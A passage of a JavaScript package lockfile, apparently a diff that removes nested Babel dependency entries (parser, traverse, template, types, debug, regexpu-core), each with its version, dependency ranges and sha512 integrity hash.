- "@babel/helper-replace-supers/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-replace-supers/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/helper-replace-supers/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/helper-replace-supers/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/helper-skip-transparent-expression-wrappers/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/helper-wrap-function/@babel/template/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-wrap-function/@babel/template/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-wrap-function/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/helper-wrap-function/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/helper-wrap-function/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/helper-wrap-function/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-async-generator-functions/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-classes/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-classes/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-classes/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-classes/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-classes/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-classes/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-computed-properties/@babel/template/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-computed-properties/@babel/template/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-computed-properties/@babel/template/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-destructuring/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-function-name/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-modules-amd/@babel/helper-module-transforms/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-modules-commonjs/@babel/helper-module-transforms/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
-
- "@babel/plugin-transform-modules-systemjs/@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@babel/plugin-transform-modules-umd/@babel/helper-module-transforms/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="],
-
- "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "@babel/plugin-transform-object-rest-spread/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="],
-
- "@babel/plugin-transform-object-rest-spread/@babel/traverse/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="],
-
- "@babel/plugin-transform-object-rest-spread/@babel/traverse/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
-
- "@babel/plugin-transform-object-rest-spread/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="],
-
